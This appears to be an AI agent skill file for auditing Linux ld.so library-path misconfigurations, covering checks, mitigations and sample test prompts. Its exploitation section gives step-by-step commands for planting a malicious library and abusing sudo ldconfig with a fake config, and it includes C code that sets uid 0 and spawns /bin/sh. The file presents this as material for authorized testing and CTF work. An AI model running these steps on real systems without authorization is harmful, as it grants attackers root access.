ld.so Privilege Escalation Checker

A skill for identifying and analyzing ld.so library path vulnerabilities that could lead to privilege escalation on Linux systems.

What this skill does

This skill helps you:

• Audit

  /etc/ld.so.conf

  and

  /etc/ld.so.conf.d/

  for writable paths
• Identify shared library dependencies in binaries
• Check for

  ldconfig

  sudo privileges that could be abused
• Understand the attack vectors and mitigation strategies

When to use this skill

Use this skill when:

• You're doing a Linux privilege escalation assessment
• You want to check if a system is vulnerable to library injection attacks
• You're analyzing shared library dependencies
• You need to understand ld.so configuration security
• You're working on CTF challenges involving library path vulnerabilities

Quick Start

# Check for vulnerable ld.so configurations
python scripts/check_ldso_vulns.py

# Analyze a specific binary's library dependencies
python scripts/check_ldso_vulns.py --binary /path/to/binary

# Check if ldconfig is exploitable via sudo
python scripts/check_ldso_vulns.py --check-ldconfig-sudo

Understanding the Vulnerability

How ld.so Works

The dynamic linker (

ld.so

1. Paths specified in the binary's RPATH/RUNPATH

2. /etc/ld.so.cache

   (generated by

   ldconfig

   )

3. /etc/ld.so.conf

   and files in

   /etc/ld.so.conf.d/

4. /lib

   and

   /usr/lib

The Attack Vector

If an attacker can:

1. Write to a path listed in

   /etc/ld.so.conf

   or

   /etc/ld.so.conf.d/

2. Create a malicious library with the same name as one a privileged binary loads
3. Trigger the binary execution by a privileged user (or have

   ldconfig

   sudo access)

Then they can achieve privilege escalation.

Common Misconfigurations

/etc/ld.so.conf.d/

/tmp

/tmp

/home/*

ldconfig

ldconfig

Using the Check Script

The

check_ldso_vulns.py

1. Configuration File Analysis

python scripts/check_ldso_vulns.py

This checks:

• /etc/ld.so.conf

  for writable paths
• All files in

  /etc/ld.so.conf.d/

  for writable paths
• Whether paths are owned by root
• Whether paths are world-writable

2. Binary Dependency Analysis

python scripts/check_ldso_vulns.py --binary /usr/bin/somebinary

This shows:

• Which libraries the binary loads
• Where each library is loaded from
• Whether any libraries come from potentially writable paths

3. ldconfig Sudo Check

python scripts/check_ldso_vulns.py --check-ldconfig-sudo

This checks if you can run

ldconfig

• Reload the library cache with custom configurations
• Force loading from arbitrary paths

Manual Verification Steps

Step 1: Check ld.so Configuration

# View main config
cat /etc/ld.so.conf

# View all config files
ls -la /etc/ld.so.conf.d/
cat /etc/ld.so.conf.d/*

# Check which paths are writable
for path in $(cat /etc/ld.so.conf /etc/ld.so.conf.d/* 2>/dev/null | grep -v '^#' | grep -v '^$'); do
    if [ -d "$path" ]; then
        echo "Checking: $path"
        ls -ld "$path"
    fi
done

Step 2: Check Library Loading

# See where a binary loads libraries from
ldd /path/to/binary

# Check if library comes from suspicious path
ldd /path/to/binary | grep -E '/tmp|/home|/var/tmp'

Step 3: Check ldconfig Privileges

# Check if you can run ldconfig as sudo
sudo -l | grep ldconfig

# Check if ldconfig has SUID bit
ls -la /sbin/ldconfig

Exploitation Scenarios

Scenario 1: Writable Path in Config

Condition: A path in

/etc/ld.so.conf.d/

Exploitation:

# 1. Find the vulnerable path
# 2. Create malicious library
cd /vulnerable/path
gcc -shared -o libvuln.so -fPIC malicious.c

# 3. Wait for ldconfig to run (reboot, or if you have sudo access)
sudo ldconfig

# 4. Trigger the vulnerable binary
/path/to/vulnerable_binary

Scenario 2: ldconfig Sudo Access

Condition: You can run

ldconfig

Exploitation:

# 1. Create fake config in writable location
cd /tmp
echo "include /tmp/conf/*" > fake.ld.so.conf
mkdir -p conf
echo "/tmp" > conf/evil.conf

# 2. Create malicious library
gcc -shared -o libcustom.so -fPIC malicious.c

# 3. Load the fake config with sudo
sudo ldconfig -f fake.ld.so.conf

# 4. Trigger the vulnerable binary
/path/to/vulnerable_binary

Malicious Library Template

For educational/CTF purposes, here's a basic template:

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>

void target_function() {
    setuid(0);
    setgid(0);
    printf("Privilege escalation attempt!\n");
    system("/bin/sh");
}

Compile with:

gcc -shared -o libtarget.so -fPIC malicious.c

Mitigation Strategies

For System Administrators

1. Audit ld.so configurations regularly

   grep -r '/tmp\|/home\|/var/tmp' /etc/ld.so.conf /etc/ld.so.conf.d/
   

2. Ensure config files are root-owned and not writable

   chmod 644 /etc/ld.so.conf
   chmod 644 /etc/ld.so.conf.d/*
   chown root:root /etc/ld.so.conf /etc/ld.so.conf.d/*
   

3. Restrict ldconfig sudo access

   # In sudoers, be explicit about what users can run
   # Avoid giving blanket ldconfig access
   

4. Use RPATH/RUNPATH carefully

   • Avoid setting RPATH to writable locations
   • Prefer absolute paths for critical libraries

For Security Auditors

1. Include ld.so checks in privilege escalation assessments
2. Check for recently modified config files
3. Look for non-standard library paths
4. Verify library ownership and permissions

Test Cases

Test Case 1: Basic Configuration Check

Prompt: "Check if this system has any ld.so configuration vulnerabilities"

Expected: Script runs and reports any writable paths in ld.so configuration

Test Case 2: Binary Analysis

Prompt: "Analyze /usr/bin/vim for library path vulnerabilities"

Expected: Script shows all libraries vim loads and their source paths

Test Case 3: ldconfig Sudo Check

Prompt: "Can I exploit ldconfig for privilege escalation?"

Expected: Script checks sudoers for ldconfig access and reports findings

References

• ld.so(8) man page
• ldconfig(8) man page
• Linux Privilege Escalation - ld.so

Notes

• This skill is for educational and authorized security testing purposes only
• Always have proper authorization before testing systems
• Some checks require root privileges to run fully
• The vulnerability requires specific conditions to be exploitable
• Modern systems often have additional protections (SELinux, AppArmor, etc.)